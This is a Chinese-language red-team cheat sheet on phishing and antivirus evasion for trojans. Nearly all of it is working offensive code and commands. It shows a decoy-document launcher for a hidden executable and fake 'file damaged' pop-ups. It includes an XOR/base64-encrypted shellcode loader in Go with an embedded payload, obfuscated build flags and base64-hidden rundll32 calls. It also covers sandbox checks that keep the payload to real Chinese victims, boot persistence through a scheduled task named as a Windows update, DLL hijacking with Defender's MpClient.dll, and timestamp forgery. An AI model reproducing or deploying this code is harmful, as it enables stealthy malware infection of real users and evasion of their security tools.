红队技术-钓鱼手法及木马免杀技巧

site:"xxx.com"  举报
site:"xxx.com"  招聘

xx公司举报 @126.com
xx公司招聘 @qq.com

%windir%\system32\cmd.exe /c start .\.__MACOS__\.__MACOS__\.__MACOS__\.__MACOS1__\xxx.doc && C:\Windows\explorer.exe ".\.__MACOS__\.__MACOS__\.__MACOS__\.__MACOS1__\fsx.exe"

C:\Program Files (x86)\Microsoft\Edge\Application
%SystemRoot%\System32\imageres.dll
%SystemRoot%\System32\shell32.dll

On Error Resume Next
WScript.Sleep 2000
msgbox "当前文件已损坏，请更换工具进行打开",64,"提示" 

package main

import (
	"github.com/gen2brain/dlgs"
)

func box() {
    _, err := dlgs.Info("提示", "当前文件已损坏，请更换工具进行打开")
  if err != nil {
    panic(err)
  }
}

import base64

originalShellcode = b"\xfc\xe8\x89\x00"
encryptedShellcode = bytes([byte ^ 0xFF for byte in originalShellcode])
encodedShellcode = base64.b64encode(encryptedShellcode).decode('utf-8')

print(encodedShellcode)

package main

import (
  "encoding/base64"
  "syscall"
  "unsafe"

  "golang.org/x/sys/windows"
)

func main() {
  
  encryptedShellcode := "A7d8Gw8XN////76uvq+trqm3zi2at3Stn7d0ree3dK3ft3SNr7fwSLW1ss42t84/U8Oeg/3T374+NvK+/j4dEq2+rrd0rd90vcO3/i+Zfofn9P2KjXR/d////7d6P4uYt/4vr3S357t0v9+2/i8cqbcANr50y3e3/imyzja3zj9Tvj428r7+Pscfig6z/LPb97rGLoonp7t0v9u2/i+ZvnTzt7t0v+O2/i++dPt3t/4vvqe+p6Gmpb6nvqa+pbd8E9++rQAfp76mpbd07RawAAAAopX/tkGIlpGWkZqL/76ptnYZs3YOvkWziNn4ACq3zja3zi2yzj+yzja+r76vvkXFqYZYACoWbP///6W3dj6+R0T+//+yzja+rr6ulfy+rr5FqHZgOQAqFIakt3Y+t84ttnYnss42rZf/zT97ra2+RRSq0cQAKrd2Obd8PK+V9aC3dg5F4P///5X/l3/M//+2dh++Rvv///++RYq5YXkAKrd2Drd2JbY4PwAAAACyzjatrb5F0vnnhAAqej/wemL+//+3ADDwe3P+//8UTBYb/v//F30AAADQjJqRjJCNjNKSlpHRlYz/c+3E0xVwtP+ApVnzO+p1jev92qT3Uha95ujzW9R0pB+T1tLqz3M7T4bojcRBeYZAxqvqVklSBew8vF37KQhZaTk57QytHWW/zOlre6izwC1MyRZb/5Fhlm8hjll2IsYujj370H4XyT1gnmP++QQ9KXakAKrfONkX//7//vkf/7///vka/////vkWnW6waACq3bKyst3YYt3YOt3Ylvkf/3///tnYGvkXtaXYdACq3fDvfej+LSZl0+Lf+PHo/iiinp6e3+v////+vPBeAAgAAjJqNiZacmtKUjY2QkJ6Ml9LOzM/IyM/Px87H0YyX0Z6PlpiI0YuakZyakYucjNGckJL/+goe/w=="
   // 通过 base64 和 XOR 解密 shellcode 内容 
  decodedShellcode, _ := base64.StdEncoding.DecodeString(encryptedShellcode)
  for i := 0; i < len(decodedShellcode); i++ {
    decodedShellcode[i] ^= 0xFF
  }

  // 获取 kernel32.dll 中的 VirtualAlloc 函数
  kernel32, _ := syscall.LoadDLL("kernel32.dll")
  VirtualAlloc, _ := kernel32.FindProc("VirtualAlloc")

  // 分配内存并写入 shellcode 内容
  allocSize := uintptr(len(decodedShellcode))
  mem, _, _ := VirtualAlloc.Call(uintptr(0), allocSize, windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_EXECUTE_READWRITE)
  if mem == 0 {
    panic("VirtualAlloc failed")
  }
  buffer := (*[0x1_000_000]byte)(unsafe.Pointer(mem))[:allocSize:allocSize]
  copy(buffer, decodedShellcode)

  // 执行 shellcode
  syscall.Syscall(mem, 0, 0, 0, 0)
}

go：
-race   竞态检测编译
-ldflags '-s -w'   去除编译信息
-ldflags '-H windowsgui'   隐藏窗口

garble(混淆库)：
-tiny                    删除额外信息
-literals               混淆文字
-seed=random   base64编码的随机种子

package main

func main() {
	// 两个要相乘的数字
	num1 := 5
	num2 := 3

	result := 0

	// 使用for循环来进行乘法运算
	for i := 0; i < num2; i++ {
		result += num1
	}
}

package main

import "github.com/lxn/win"

func main(){
  win.ShowWindow(win.GetConsoleWindow(), win.SW_HIDE)
}

func box()int{
    FreeConsole := syscall.NewLazyDLL("kernel32.dll").NewProc("FreeConsole")
    FreeConsole.Call()
    return 0
}

func main() {
  box()

cmd := exec.Command("rundll32.exe", "xxx")

encodedCommand := "cnVuZGxsMzIuZXhl"
encodedArguments := "MTExTdGFydA=="

// 解码Base64编码的命令和参数
decodedCommand, _ := base64.StdEncoding.DecodeString(encodedCommand)
decodedArguments, _ := base64.StdEncoding.DecodeString(encodedArguments)

cmd := exec.Command(string(decodedCommand), string(decodedArguments))

package main

import (
	"syscall"
	"unsafe"
)

var (
	ntdll         = syscall.MustLoadDLL("ntdll.dll")
	VirtualAlloc  = kernel32.MustFindProc("VirtualAlloc")
	RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
)

const (
	MEM_COMMIT             = 0x1000
	MEM_RESERVE            = 0x2000
	PAGE_EXECUTE_READWRITE = 0x40
)

func main() {

	addr, _, err := VirtualAlloc.Call(0, uintptr(len(decryt)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
	if err != nil && err.Error() != "The operation completed successfully." {
		syscall.Exit(0)
	}
	_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&decryt[0])), uintptr(len(decryt)))
	if err != nil && err.Error() != "The operation completed successfully." {
		syscall.Exit(0)
	}
	syscall.Syscall(addr, 0, 0, 0, 0)
}

package main

import (
	"syscall"
	"unsafe"
)

var (
	ntdll         = syscall.MustLoadDLL("ntdll.dll")
	VirtualAlloc  = kernel32.MustFindProc("VirtualAlloc")
	RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
)

const (
	MEM_COMMIT             = 0x1000
	MEM_RESERVE            = 0x2000
	PAGE_EXECUTE_READWRITE = 0x40
)

func main() {
	num1 := 5
	num2 := 3

	result := 0

	// 使用for循环来进行乘法运算
	for i := 0; i < num2; i++ {
		result += num1
	}
	addr, _, err := VirtualAlloc.Call(0, uintptr(len(decryt)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
	if err != nil && err.Error() != "The operation completed successfully." {
		syscall.Exit(0)
	}
	_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&decryt[0])), uintptr(len(decryt)))
	if err != nil && err.Error() != "The operation completed successfully." {
		syscall.Exit(0)
	}
	syscall.Syscall(addr, 0, 0, 0, 0)
}

func san() {
  url := "https://myip.ipip.net/"

  resp, err := http.Get(url)
  if err != nil {
    os.Exit(1)
  }
  defer resp.Body.Close()

  body, err := ioutil.ReadAll(resp.Body)
  if err != nil {
    os.Exit(1)
  }

  content := string(body)

  if strings.Contains(content, "中国") {
  } else {
    os.Exit(1)
  }
  }

func desktop() {
    desktopPath, err := os.UserHomeDir()
    if err != nil {
        fmt.Println("无法获取用户桌面路径：", err)
        return
    }

    desktopPath = filepath.Join(desktopPath, "Desktop")
    fileCount, err := countFilesInDir(desktopPath)
    if err != nil {
        fmt.Println("无法读取用户桌面文件列表：", err)
        return
    }

    fmt.Println("用户桌面文件数：", fileCount)

    if fileCount < 7 {
        os.Exit(0)
    }
    // 在这里编写你的其他代码逻辑
}

func CheckWeChatExist() {
  k, err := registry.OpenKey(registry.CURRENT_USER, `SOFTWARE\Tencent\bugReport\WechatWindows`, registry.QUERY_VALUE)
  if err != nil {
    os.Exit(0)
  }
  defer k.Close()

  s, _, err := k.GetStringValue("InstallDir")
  if err != nil || s == "" {
    os.Exit(0)
  }
}

func sys() {
    pageFilePath := "C:\\pagefile.sys" 
    _, err := os.Stat(pageFilePath)
    if os.IsNotExist(err) {
        os.Exit(1)
    } else if err != nil {
    } else {
    }
}

func language() {
	language := os.Getenv("LANG")

	if strings.Contains(language, "en_US") {
		os.Exit(0)
	} else {
	}
}

package main

import (
	"os"
	"github.com/capnspacehook/taskmaster"
)

func runWinTask(path string) {
	// 创建初始化计划任务
	taskService, _ := taskmaster.Connect()

	defer taskService.Disconnect()
	// 定义新的计划任务
	newTaskDef := taskService.NewTaskDefinition()
	// 添加执行程序的路径
	newTaskDef.AddAction(taskmaster.ExecAction{
		Path: path,
	})
	// 定义计划任务程序的执行时间等，设置为开机启动
	newTaskDef.AddTrigger(taskmaster.BootTrigger{
		TaskTrigger: taskmaster.TaskTrigger{
			Enabled: enable,
		},
	})

	// 创建计划任务
	result, _, _ := taskService.CreateTask("\\windows\\update", newTaskDef, true)
	result=result
}

func main() {
	path, err := os.Executable()
	if err != nil {
		return
	}

	runWinTask(path)
}

ImpulsiveDLLHijack.exe -path xxx.exe

查看net版本  
shell reg query "HKLM\Software\Microsoft\NET Framework Setup\NDP" /s /v version | findstr /i version | sort /+26 /r
需要安装net3.5 没有安装一下 
shell dism.exe /online /enable-feature /featurename:netfx3 /Source:C:\Users\hack\Desktop\dotnetfx35.exe
DISM /Online /Enable-Feature /All /FeatureName:NetFx3 /LimitAccess /Source:D:\sources\sxs

shell copy "C:\Program Files\Windows Defender\MpClient.dll" C:\Users\Public\AccountPictures\MpClient.dll
shell C:\Users\Public\AccountPictures\ChTimeStamp.exe C:\Users\Public\AccountPictures\new_msedge.exe C:\Users\Public\AccountPictures\MpClient.dll

ChangeTimestamp.exe xxx.exe 2021-12-09 15:08:27